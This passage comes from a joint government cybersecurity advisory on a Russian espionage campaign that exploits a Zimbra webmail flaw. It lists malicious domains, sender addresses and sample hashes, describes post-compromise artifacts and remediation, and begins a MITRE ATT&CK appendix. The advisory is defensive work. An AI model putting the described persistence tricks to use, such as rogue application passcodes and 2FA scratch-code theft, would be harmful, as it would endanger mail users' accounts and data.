<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
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<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
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<p><strong>Moldovan organizations </strong></p>
</div>
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<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
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<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
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<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
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<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
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<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
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<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
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<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
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<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
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<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
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<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
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<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
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<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
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<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
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<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
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<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
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<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
